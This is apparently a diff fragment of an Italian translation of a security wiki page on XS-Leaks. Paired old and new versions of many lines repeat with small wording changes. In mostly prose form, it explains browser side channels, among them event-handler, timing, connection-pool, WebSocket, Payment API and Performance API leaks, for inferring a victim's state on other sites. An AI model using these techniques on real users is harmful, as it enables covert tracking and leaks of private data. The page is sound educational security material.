- **Intestazione HTTP**: Notare la presenza o possibilmente il valore di una **specifica intestazione di risposta HTTP**, comprese intestazioni come X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy.
|
||||
- **Contenuto della Pagina**: Osservare **variazioni nel corpo della risposta HTTP** o nelle risorse secondarie della pagina, come il **numero di frame incorporati** o le discrepanze di dimensione nelle immagini.
|
||||
- **Intestazione HTTP**: Notare la presenza o possibilmente il valore di un **specifico header di risposta HTTP**, inclusi header come X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy.
|
||||
- **Tempi**: Notare discrepanze temporali costanti tra i due stati.
|
||||
|
||||
### Metodi di Inclusione
|
||||
|
||||
- **Elementi HTML**: L'HTML offre vari elementi per **l'inclusione di risorse cross-origin**, come fogli di stile, immagini o script, costringendo il browser a richiedere una risorsa non HTML. Una compilazione di potenziali elementi HTML per questo scopo può essere trovata su [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
|
||||
- **Frame**: Elementi come **iframe**, **object** e **embed** possono incorporare risorse HTML direttamente nella pagina dell'attaccante. Se la pagina **manca di protezione al framing**, JavaScript può accedere all'oggetto finestra della risorsa incapsulata tramite la proprietà contentWindow.
|
||||
- **Pop-up**: Il metodo **`window.open`** apre una risorsa in una nuova scheda o finestra, fornendo un **handle della finestra** per JavaScript per interagire con metodi e proprietà seguendo il SOP. I pop-up, spesso utilizzati nel single sign-on, aggirano le restrizioni di framing e cookie di una risorsa target. Tuttavia, i browser moderni limitano la creazione di pop-up a determinate azioni dell'utente.
|
||||
- **Richieste JavaScript**: JavaScript consente richieste dirette a risorse target utilizzando **XMLHttpRequests** o l'**API Fetch**. Questi metodi offrono un controllo preciso sulla richiesta, come scegliere di seguire i reindirizzamenti HTTP.
|
||||
- **Pop-up**: Il metodo **`window.open`** apre una risorsa in una nuova scheda o finestra, fornendo un **handle della finestra** per JavaScript per interagire con metodi e proprietà seguendo il SOP. I pop-up, spesso utilizzati nel single sign-on, eludono le restrizioni di framing e cookie di una risorsa target. Tuttavia, i browser moderni limitano la creazione di pop-up a determinate azioni dell'utente.
|
||||
- **Richieste JavaScript**: JavaScript consente richieste dirette a risorse target utilizzando **XMLHttpRequests** o l'**Fetch API**. Questi metodi offrono un controllo preciso sulla richiesta, come scegliere di seguire i reindirizzamenti HTTP.
|
||||
|
||||
### Tecniche di Leak
|
||||
|
||||
- **Gestore di Eventi**: Una tecnica di leak classica in XS-Leaks, dove gestori di eventi come **onload** e **onerror** forniscono informazioni sul successo o il fallimento del caricamento delle risorse.
|
||||
- **Messaggi di Errore**: Eccezioni JavaScript o pagine di errore speciali possono fornire informazioni di leak direttamente dal messaggio di errore o differenziando tra la sua presenza e assenza.
|
||||
- **Limiti Globali**: Limitazioni fisiche di un browser, come la capacità di memoria o altri limiti imposti dal browser, possono segnalare quando viene raggiunto un limite, fungendo da tecnica di leak.
|
||||
- **Stato Globale**: Interazioni rilevabili con gli **stati globali** dei browser (ad es., l'interfaccia Storia) possono essere sfruttate. Ad esempio, il **numero di voci** nella cronologia di un browser può offrire indizi su pagine cross-origin.
|
||||
- **Stato Globale**: Interazioni rilevabili con gli **stati globali** dei browser (ad es., l'interfaccia History) possono essere sfruttate. Ad esempio, il **numero di voci** nella cronologia di un browser può offrire indizi su pagine cross-origin.
|
||||
- **Performance API**: Questa API fornisce **dettagli sulle prestazioni della pagina corrente**, inclusi i tempi di rete per il documento e le risorse caricate, consentendo inferenze sulle risorse richieste.
|
||||
- **Attributi Leggibili**: Alcuni attributi HTML sono **leggibili cross-origin** e possono essere utilizzati come tecnica di leak. Ad esempio, la proprietà `window.frame.length` consente a JavaScript di contare i frame inclusi in una pagina web cross-origin.
|
||||
|
||||
@ -49,7 +49,7 @@ XSinator è uno strumento automatico per **verificare i browser contro diversi n
|
||||
Puoi **accedere allo strumento in** [**https://xsinator.com/**](https://xsinator.com/)
|
||||
|
||||
> [!WARNING]
|
||||
> **XS-Leaks Esclusi**: Abbiamo dovuto escludere gli XS-Leaks che si basano su **service workers** poiché interferirebbero con altri leak in XSinator. Inoltre, abbiamo scelto di **escludere gli XS-Leaks che si basano su misconfigurazioni e bug in una specifica applicazione web**. Ad esempio, misconfigurazioni di Cross-Origin Resource Sharing (CORS), leak di postMessage o Cross-Site Scripting. Inoltre, abbiamo escluso gli XS-Leaks basati sul tempo poiché spesso soffrono di essere lenti, rumorosi e imprecisi.
|
||||
> **XS-Leaks Esclusi**: Abbiamo dovuto escludere XS-Leaks che si basano su **service workers** poiché interferirebbero con altri leak in XSinator. Inoltre, abbiamo scelto di **escludere XS-Leaks che si basano su misconfigurazioni e bug in un'applicazione web specifica**. Ad esempio, misconfigurazioni di Cross-Origin Resource Sharing (CORS), leak di postMessage o Cross-Site Scripting. Inoltre, abbiamo escluso XS-Leaks basati sul tempo poiché spesso soffrono di essere lenti, rumorosi e imprecisi.
|
||||
|
||||
## **Tecniche Basate sul Tempo**
|
||||
|
||||
@ -97,7 +97,7 @@ performance.now-example.md
|
||||
|
||||
#### Onload Timing + Forced Heavy Task
|
||||
|
||||
Questa tecnica è simile alla precedente, ma l'**attacker** forzerà anche un'azione per richiedere un **tempo rilevante** quando la **risposta è positiva o negativa** e misurerà quel tempo.
|
||||
Questa tecnica è simile alla precedente, ma l'**attacker** forzerà anche qualche azione per richiedere un **tempo rilevante** quando la **risposta è positiva o negativa** e misurerà quel tempo.
|
||||
|
||||
{{#ref}}
|
||||
performance.now-+-force-heavy-task.md
|
||||
@ -121,7 +121,7 @@ Il tempo necessario per recuperare una risorsa può essere misurato utilizzando
|
||||
- **Summary:** L'API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) può essere utilizzata per misurare quanto tempo ci vuole per eseguire una richiesta. Potrebbero essere utilizzati altri orologi.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
||||
|
||||
È stato osservato che in assenza di [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), il tempo necessario per caricare una pagina e le sue risorse secondarie attraverso la rete può essere misurato da un attaccante. Questa misurazione è tipicamente possibile perché il gestore `onload` di un iframe viene attivato solo dopo il completamento del caricamento delle risorse e dell'esecuzione di JavaScript. Per bypassare la variabilità introdotta dall'esecuzione di script, un attaccante potrebbe utilizzare l'attributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) all'interno del `<iframe>`. L'inclusione di questo attributo limita numerose funzionalità, in particolare l'esecuzione di JavaScript, facilitando così una misurazione che è prevalentemente influenzata dalle prestazioni di rete.
|
||||
È stato osservato che in assenza di [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), il tempo necessario per caricare una pagina e le sue risorse secondarie attraverso la rete può essere misurato da un attaccante. Questa misurazione è tipicamente possibile perché il gestore `onload` di un iframe viene attivato solo dopo il completamento del caricamento delle risorse e dell'esecuzione di JavaScript. Per bypassare la variabilità introdotta dall'esecuzione degli script, un attaccante potrebbe utilizzare l'attributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) all'interno del `<iframe>`. L'inclusione di questo attributo limita numerose funzionalità, in particolare l'esecuzione di JavaScript, facilitando così una misurazione che è prevalentemente influenzata dalle prestazioni di rete.
|
||||
```javascript
|
||||
// Example of an iframe with the sandbox attribute
|
||||
<iframe src="example.html" sandbox></iframe>
|
||||
@ -131,12 +131,12 @@ Il tempo necessario per recuperare una risorsa può essere misurato utilizzando
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Contenuto della pagina
|
||||
- **More info**:
|
||||
- **Summary**: Se riesci a far generare un errore alla pagina quando viene accesso il contenuto corretto e farla caricare correttamente quando viene accesso qualsiasi contenuto, allora puoi creare un ciclo per estrarre tutte le informazioni senza misurare il tempo.
|
||||
- **Summary**: Se puoi far sì che la pagina generi un errore quando viene accesso il contenuto corretto e farla caricare correttamente quando viene accesso qualsiasi contenuto, allora puoi creare un ciclo per estrarre tutte le informazioni senza misurare il tempo.
|
||||
- **Code Example**:
|
||||
|
||||
Supponiamo che tu possa **inserire** la **pagina** che ha il **contenuto segreto** **all'interno di un Iframe**.
|
||||
|
||||
Puoi **far cercare alla vittima** il file che contiene "_**flag**_" utilizzando un **Iframe** (sfruttando un CSRF ad esempio). All'interno dell'Iframe sai che l'_**evento onload**_ verrà **eseguito sempre almeno una volta**. Poi, puoi **cambiare** l'**URL** dell'**iframe** cambiando solo il **contenuto** dell'**hash** all'interno dell'URL.
|
||||
Puoi **far cercare alla vittima** il file che contiene "_**flag**_" usando un **Iframe** (sfruttando un CSRF, ad esempio). All'interno dell'Iframe sai che l'**evento onload** verrà **eseguito sempre almeno una volta**. Poi, puoi **cambiare** l'**URL** dell'**iframe** cambiando solo il **contenuto** dell'**hash** all'interno dell'URL.
|
||||
|
||||
Per esempio:
|
||||
|
||||
@ -152,7 +152,7 @@ Poi, puoi **distinguere tra** una pagina **caricata correttamente** o una pagina
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Contenuto della pagina
|
||||
- **More info**:
|
||||
- **Summary:** Se la **pagina** sta **restituendo** il **contenuto sensibile**, **o** un **contenuto** che può essere **controllato** dall'utente. L'utente potrebbe impostare **codice JS valido nel caso negativo**, un **load** per ogni tentativo all'interno dei **`<script>`** tag, quindi nei **casi negativi** il **codice** degli attaccanti viene **eseguito**, e nei **casi affermativi** **niente** verrà eseguito.
|
||||
- **Summary:** Se la **pagina** sta **restituendo** il contenuto **sensibile**, **o** un **contenuto** che può essere **controllato** dall'utente. L'utente potrebbe impostare **codice JS valido nel caso negativo**, un **load** per ogni tentativo all'interno dei **`<script>`** tag, quindi nei casi **negativi** il **codice** degli attaccanti viene **eseguito**, e nei casi **affermativi** **niente** verrà eseguito.
|
||||
- **Code Example:**
|
||||
|
||||
{{#ref}}
|
||||
@ -161,8 +161,8 @@ javascript-execution-xs-leak.md
|
||||
|
||||
### CORB - Onerror
|
||||
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Detectable Difference**: Codice di stato & Intestazioni
|
||||
- **Inclusion Methods**: Elementi HTML
|
||||
- **Detectable Difference**: Codice di stato e intestazioni
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
|
||||
- **Summary**: **Cross-Origin Read Blocking (CORB)** è una misura di sicurezza che impedisce alle pagine web di caricare determinate risorse sensibili cross-origin per proteggere contro attacchi come **Spectre**. Tuttavia, gli attaccanti possono sfruttare il suo comportamento protettivo. Quando una risposta soggetta a **CORB** restituisce un `Content-Type` _**protetto da CORB**_ con `nosniff` e un codice di stato `2xx`, **CORB** rimuove il corpo e le intestazioni della risposta. Gli attaccanti che osservano questo possono dedurre la combinazione del **codice di stato** (che indica successo o errore) e il `Content-Type` (che denota se è protetto da **CORB**), portando a potenziali perdite di informazioni.
|
||||
- **Code Example:**
|
||||
@ -174,39 +174,39 @@ Controlla il link per ulteriori informazioni sull'attacco.
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Contenuto della pagina
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
|
||||
- **Summary**: Perdita di dati sensibili dall'attributo id o nome.
|
||||
- **Summary**: Perdita di dati sensibili dall'attributo id o name.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
|
||||
|
||||
È possibile **caricare una pagina** all'interno di un **iframe** e utilizzare il **`#id_value`** per far **focalizzare la pagina** sull'elemento dell'iframe indicato, quindi se viene attivato un segnale **`onblur`**, l'elemento ID esiste.\
|
||||
È possibile **caricare una pagina** all'interno di un **iframe** e utilizzare il **`#id_value`** per far sì che la pagina **focalizzi l'elemento** dell'iframe con l'id indicato, quindi se viene attivato un segnale **`onblur`**, l'elemento ID esiste.\
|
||||
Puoi eseguire lo stesso attacco con i tag **`portal`**.
|
||||
|
||||
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
||||
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Inclusion Methods**: Frames, Pop-up
|
||||
- **Detectable Difference**: Utilizzo API
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
|
||||
- **Summary**: Raccogliere informazioni sensibili da un postMessage o utilizzare la presenza di postMessages come un oracolo per conoscere lo stato dell'utente nella pagina
|
||||
- **Code Example**: `Qualsiasi codice che ascolta tutti i postMessages.`
|
||||
|
||||
Le applicazioni utilizzano frequentemente i [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) per comunicare tra origini diverse. Tuttavia, questo metodo può involontariamente esporre **informazioni sensibili** se il parametro `targetOrigin` non è specificato correttamente, consentendo a qualsiasi finestra di ricevere i messaggi. Inoltre, il semplice atto di ricevere un messaggio può fungere da **oracolo**; ad esempio, alcuni messaggi potrebbero essere inviati solo agli utenti che sono connessi. Pertanto, la presenza o l'assenza di questi messaggi può rivelare informazioni sullo stato o sull'identità dell'utente, come se siano autenticati o meno.
|
||||
Le applicazioni utilizzano frequentemente i [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) per comunicare tra origini diverse. Tuttavia, questo metodo può involontariamente esporre **informazioni sensibili** se il parametro `targetOrigin` non è specificato correttamente, consentendo a qualsiasi finestra di ricevere i messaggi. Inoltre, il semplice atto di ricevere un messaggio può fungere da **oracolo**; ad esempio, alcuni messaggi potrebbero essere inviati solo agli utenti che hanno effettuato l'accesso. Pertanto, la presenza o l'assenza di questi messaggi può rivelare informazioni sullo stato o sull'identità dell'utente, come se siano autenticati o meno.
|
||||
|
||||
## Tecniche di Limiti Globali
|
||||
|
||||
### WebSocket API
|
||||
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Inclusion Methods**: Frames, Pop-up
|
||||
- **Detectable Difference**: Utilizzo API
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
- **Summary**: Esaurire il limite di connessione WebSocket rivela il numero di connessioni WebSocket di una pagina cross-origin.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
|
||||
|
||||
È possibile identificare se, e quante, **connessioni WebSocket una pagina target utilizza**. Ciò consente a un attaccante di rilevare stati dell'applicazione e rivelare informazioni legate al numero di connessioni WebSocket.
|
||||
È possibile identificare se, e quante, **connessioni WebSocket una pagina target utilizza**. Ciò consente a un attaccante di rilevare stati dell'applicazione e di rivelare informazioni legate al numero di connessioni WebSocket.
|
||||
|
||||
Se un **origine** utilizza il **massimo numero di oggetti di connessione WebSocket**, indipendentemente dal loro stato di connessione, la creazione di **nuovi oggetti genererà eccezioni JavaScript**. Per eseguire questo attacco, il sito web dell'attaccante apre il sito web target in un pop-up o iframe e poi, dopo che il web target è stato caricato, tenta di creare il numero massimo possibile di connessioni WebSocket. Il **numero di eccezioni generate** è il **numero di connessioni WebSocket utilizzate dalla finestra del sito web target**.
|
||||
Se un **origine** utilizza il **massimo numero di oggetti di connessione WebSocket**, indipendentemente dal loro stato di connessione, la creazione di **nuovi oggetti genererà eccezioni JavaScript**. Per eseguire questo attacco, il sito web dell'attaccante apre il sito web target in un pop-up o iframe e poi, dopo che il sito web target è stato caricato, tenta di creare il numero massimo possibile di connessioni WebSocket. Il **numero di eccezioni generate** è il **numero di connessioni WebSocket utilizzate dalla finestra del sito web target**.
|
||||
|
||||
### Payment API
|
||||
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Inclusion Methods**: Frames, Pop-up
|
||||
- **Detectable Difference**: Utilizzo API
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
- **Summary**: Rileva la richiesta di pagamento perché solo una può essere attiva alla volta.
|
||||
@ -214,7 +214,7 @@ Se un **origine** utilizza il **massimo numero di oggetti di connessione WebSock
|
||||
|
||||
Questa XS-Leak consente a un attaccante di **rilevare quando una pagina cross-origin avvia una richiesta di pagamento**.
|
||||
|
||||
Poiché **solo una richiesta di pagamento può essere attiva** alla volta, se il sito web target sta utilizzando l'API di richiesta di pagamento, qualsiasi ulteriore tentativo di utilizzare questa API fallirà**, e causerà un **eccezione JavaScript**. L'attaccante può sfruttare questo tentando **periodicamente di mostrare l'interfaccia utente dell'API di pagamento**. Se un tentativo causa un'eccezione, il sito web target la sta attualmente utilizzando. L'attaccante può nascondere questi tentativi periodici chiudendo immediatamente l'interfaccia utente dopo la creazione.
|
||||
Poiché **solo una richiesta di pagamento può essere attiva** alla volta, se il sito web target utilizza l'API di richiesta di pagamento, qualsiasi ulteriore tentativo di utilizzare questa API fallirà**, e causerà un'**eccezione JavaScript**. L'attaccante può sfruttare questo tentando **periodicamente di mostrare l'interfaccia utente dell'API di pagamento**. Se un tentativo causa un'eccezione, il sito web target la sta attualmente utilizzando. L'attaccante può nascondere questi tentativi periodici chiudendo immediatamente l'interfaccia utente dopo la creazione.
|
||||
|
||||
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
||||
|
||||
@ -238,10 +238,10 @@ JavaScript opera su un modello di concorrenza a [ciclo di eventi a thread singol
|
||||
- **Inclusion Methods**:
|
||||
- **Detectable Difference**: Timing (generalmente a causa del contenuto della pagina, codice di stato)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
||||
- **Summary:** Un metodo per misurare il tempo di esecuzione di un'operazione web comporta il blocco intenzionale del ciclo di eventi di un thread e quindi il tempo **che impiega il ciclo di eventi a diventare nuovamente disponibile**. Inserendo un'operazione di blocco (come un lungo calcolo o una chiamata API sincrona) nel ciclo di eventi e monitorando il tempo necessario affinché il codice successivo inizi l'esecuzione, si può dedurre la durata delle attività che venivano eseguite nel ciclo di eventi durante il periodo di blocco. Questa tecnica sfrutta la natura a thread singolo del ciclo di eventi di JavaScript, dove le attività vengono eseguite in sequenza, e può fornire informazioni sulle prestazioni o sul comportamento di altre operazioni che condividono lo stesso thread.
|
||||
- **Summary:** Un metodo per misurare il tempo di esecuzione di un'operazione web comporta il blocco intenzionale del ciclo di eventi di un thread e quindi il tempo **necessario affinché il ciclo di eventi diventi nuovamente disponibile**. Inserendo un'operazione di blocco (come un lungo calcolo o una chiamata API sincrona) nel ciclo di eventi e monitorando il tempo necessario affinché il codice successivo inizi a essere eseguito, si può dedurre la durata delle attività che stavano eseguendo nel ciclo di eventi durante il periodo di blocco. Questa tecnica sfrutta la natura a thread singolo del ciclo di eventi di JavaScript, dove le attività vengono eseguite in sequenza, e può fornire informazioni sulle prestazioni o sul comportamento di altre operazioni che condividono lo stesso thread.
|
||||
- **Code Example**:
|
||||
|
||||
Un vantaggio significativo della tecnica di misurazione del tempo di esecuzione bloccando il ciclo di eventi è il suo potenziale di eludere **Site Isolation**. **Site Isolation** è una funzione di sicurezza che separa diversi siti web in processi separati, con l'obiettivo di impedire ai siti dannosi di accedere direttamente ai dati sensibili di altri siti. Tuttavia, influenzando il timing di esecuzione di un'altra origine attraverso il ciclo di eventi condiviso, un attaccante può indirettamente estrarre informazioni sulle attività di quell'origine. Questo metodo non si basa su un accesso diretto ai dati dell'altra origine, ma piuttosto osserva l'impatto delle attività di quell'origine sul ciclo di eventi condiviso, eludendo così le barriere protettive stabilite da **Site Isolation**.
|
||||
Un vantaggio significativo della tecnica di misurazione del tempo di esecuzione bloccando il ciclo di eventi è il suo potenziale di eludere **Site Isolation**. **Site Isolation** è una funzione di sicurezza che separa diversi siti web in processi separati, con l'obiettivo di impedire ai siti dannosi di accedere direttamente ai dati sensibili di altri siti. Tuttavia, influenzando il timing di esecuzione di un'altra origine attraverso il ciclo di eventi condiviso, un attaccante può estrarre indirettamente informazioni sulle attività di quell'origine. Questo metodo non si basa su un accesso diretto ai dati dell'altra origine, ma piuttosto osserva l'impatto delle attività di quell'origine sul ciclo di eventi condiviso, eludendo così le barriere protettive stabilite da **Site Isolation**.
|
||||
|
||||
> [!WARNING]
|
||||
> In un timing di esecuzione è possibile **eliminare** **fattori di rete** per ottenere **misurazioni più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla.
|
||||
@ -263,7 +263,7 @@ I browser utilizzano socket per la comunicazione con il server, ma a causa delle
|
||||
1. Accertare il limite di socket del browser, ad esempio, 256 socket globali.
|
||||
2. Occupare 255 socket per un lungo periodo avviando 255 richieste a vari host, progettate per mantenere le connessioni aperte senza completarle.
|
||||
3. Utilizzare il 256° socket per inviare una richiesta alla pagina target.
|
||||
4. Tentare una 257° richiesta a un host diverso. Poiché tutti i socket sono in uso (come da passaggi 2 e 3), questa richiesta verrà messa in coda fino a quando un socket non diventa disponibile. Il ritardo prima che questa richiesta proceda fornisce all'attaccante informazioni temporali sull'attività di rete relativa al socket del 256° (il socket della pagina target). Questa deduzione è possibile perché i 255 socket del passaggio 2 sono ancora impegnati, il che implica che qualsiasi socket appena disponibile deve essere quello rilasciato dal passaggio 3. Il tempo impiegato affinché il 256° socket diventi disponibile è quindi direttamente collegato al tempo necessario affinché la richiesta alla pagina target venga completata.
|
||||
4. Tentare una 257° richiesta a un host diverso. Poiché tutti i socket sono in uso (come da passaggi 2 e 3), questa richiesta verrà messa in coda fino a quando un socket non diventa disponibile. Il ritardo prima che questa richiesta proceda fornisce all'attaccante informazioni temporali sull'attività di rete relativa al socket del 256° (il socket della pagina target). Questa deduzione è possibile perché i 255 socket del passaggio 2 sono ancora impegnati, il che implica che qualsiasi socket appena disponibile deve essere quello rilasciato dal passaggio 3. Il tempo necessario affinché il 256° socket diventi disponibile è quindi direttamente collegato al tempo richiesto per completare la richiesta alla pagina target.
|
||||
|
||||
Per ulteriori informazioni: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
|
||||
@ -272,19 +272,19 @@ Per ulteriori informazioni: [https://xsleaks.dev/docs/attacks/timing-attacks/con
|
||||
- **Inclusion Methods**: Richieste JavaScript
|
||||
- **Detectable Difference**: Timing (generalmente a causa del contenuto della pagina, codice di stato)
|
||||
- **More info**:
|
||||
- **Summary:** È simile alla tecnica precedente, ma invece di utilizzare tutti i socket, Google **Chrome** impone un limite di **6 richieste concorrenti alla stessa origine**. Se **blocchiamo 5** e poi **lanciamo una 6°** richiesta possiamo **temporizzarla** e se siamo riusciti a far **inviare più richieste** alla **pagina vittima** allo stesso endpoint per rilevare uno **stato** della **pagina**, la **6° richiesta** impiegherà **più tempo** e possiamo rilevarla.
|
||||
- **Summary:** È simile alla tecnica precedente, ma invece di utilizzare tutti i socket, Google **Chrome** impone un limite di **6 richieste concorrenti alla stessa origine**. Se **blocchiamo 5** e poi **lanciamo una 6°** richiesta possiamo **misurarlo** e se siamo riusciti a far sì che la **pagina vittima invii** più **richieste** allo stesso endpoint per rilevare uno **stato** della **pagina**, la **6° richiesta** impiegherà **più tempo** e possiamo rilevarlo.
|
||||
|
||||
## Tecniche dell'API di Prestazioni
|
||||
|
||||
L'[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) offre informazioni sulle metriche di prestazione delle applicazioni web, ulteriormente arricchite dall'[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). L'API di Resource Timing consente il monitoraggio dei tempi dettagliati delle richieste di rete, come la durata delle richieste. Notabilmente, quando i server includono l'intestazione `Timing-Allow-Origin: *` nelle loro risposte, dati aggiuntivi come la dimensione del trasferimento e il tempo di ricerca del dominio diventano disponibili.
|
||||
L'[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) offre informazioni sulle metriche di prestazione delle applicazioni web, ulteriormente arricchite dall'[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). L'API di Resource Timing consente di monitorare i tempi dettagliati delle richieste di rete, come la durata delle richieste. Notabilmente, quando i server includono l'intestazione `Timing-Allow-Origin: *` nelle loro risposte, dati aggiuntivi come la dimensione del trasferimento e il tempo di ricerca del dominio diventano disponibili.
|
||||
|
||||
Questa ricchezza di dati può essere recuperata tramite metodi come [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) o [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), fornendo una visione completa delle informazioni relative alle prestazioni. Inoltre, l'API facilita la misurazione dei tempi di esecuzione calcolando la differenza tra i timestamp ottenuti da [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Tuttavia, vale la pena notare che per alcune operazioni in browser come Chrome, la precisione di `performance.now()` può essere limitata ai millisecondi, il che potrebbe influenzare la granularità delle misurazioni temporali.
|
||||
|
||||
Oltre alle misurazioni temporali, l'API di Prestazioni può essere sfruttata per informazioni relative alla sicurezza. Ad esempio, la presenza o l'assenza di pagine nell'oggetto `performance` in Chrome può indicare l'applicazione di `X-Frame-Options`. In particolare, se una pagina è bloccata dal rendering in un frame a causa di `X-Frame-Options`, non verrà registrata nell'oggetto `performance`, fornendo un indizio sottile sulle politiche di framing della pagina.
|
||||
|
||||
### Perdita di Errori
|
||||
### Errore di Perdita
|
||||
|
||||
- **Inclusion Methods**: Frames, HTML Elements
|
||||
- **Inclusion Methods**: Frames, Elementi HTML
|
||||
- **Detectable Difference**: Codice di stato
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Una richiesta che genera errori non creerà un'entrata di timing delle risorse.
|
||||
@ -294,7 +294,7 @@ Oltre alle misurazioni temporali, l'API di Prestazioni può essere sfruttata per
|
||||
|
||||
### Errore di Ricarica Stile
|
||||
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Inclusion Methods**: Elementi HTML
|
||||
- **Detectable Difference**: Codice di stato
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** A causa di un bug del browser, le richieste che generano errori vengono caricate due volte.
|
||||
@ -302,9 +302,9 @@ Oltre alle misurazioni temporali, l'API di Prestazioni può essere sfruttata per
|
||||
|
||||
Nella tecnica precedente sono stati identificati anche due casi in cui i bug del browser in GC portano a **risorse caricate due volte quando non riescono a caricarsi**. Questo porterà a più voci nell'API di Prestazioni e può quindi essere rilevato.
|
||||
|
||||
### Errore di Fusione Richieste
|
||||
### Errore di Fusione Richiesta
|
||||
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Inclusion Methods**: Elementi HTML
|
||||
- **Detectable Difference**: Codice di stato
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Le richieste che generano un errore non possono essere unite.
|
||||
@ -327,10 +327,10 @@ Un attaccante può rilevare se una richiesta ha portato a un corpo di risposta H
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Contenuto della pagina
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Utilizzando l'Auditor XSS nelle Assicurazioni di Sicurezza, gli attaccanti possono rilevare specifici elementi della pagina web osservando le alterazioni nelle risposte quando i payload creati attivano il meccanismo di filtraggio dell'auditor.
|
||||
- **Summary:** Utilizzando l'Auditor XSS nelle Assicurazioni di Sicurezza, gli attaccanti possono rilevare elementi specifici della pagina web osservando le alterazioni nelle risposte quando i payload creati attivano il meccanismo di filtraggio dell'auditor.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||||
|
||||
Nelle Assicurazioni di Sicurezza (SA), l'Auditor XSS, originariamente destinato a prevenire attacchi Cross-Site Scripting (XSS), può paradossalmente essere sfruttato per rivelare informazioni sensibili. Sebbene questa funzione integrata sia stata rimossa da Google Chrome (GC), è ancora presente in SA. Nel 2013, Braun e Heiderich hanno dimostrato che l'Auditor XSS potrebbe bloccare involontariamente script legittimi, portando a falsi positivi. Basandosi su questo, i ricercatori hanno sviluppato tecniche per estrarre informazioni e rilevare contenuti specifici su pagine cross-origin, un concetto noto come XS-Leaks, inizialmente riportato da Terada e approfondito da Heyes in un post sul blog. Sebbene queste tecniche fossero specifiche per l'Auditor XSS in GC, è stato scoperto che in SA, le pagine bloccate dall'Auditor XSS non generano voci nell'API di Prestazioni, rivelando un metodo attraverso il quale informazioni sensibili potrebbero ancora essere rivelate.
|
||||
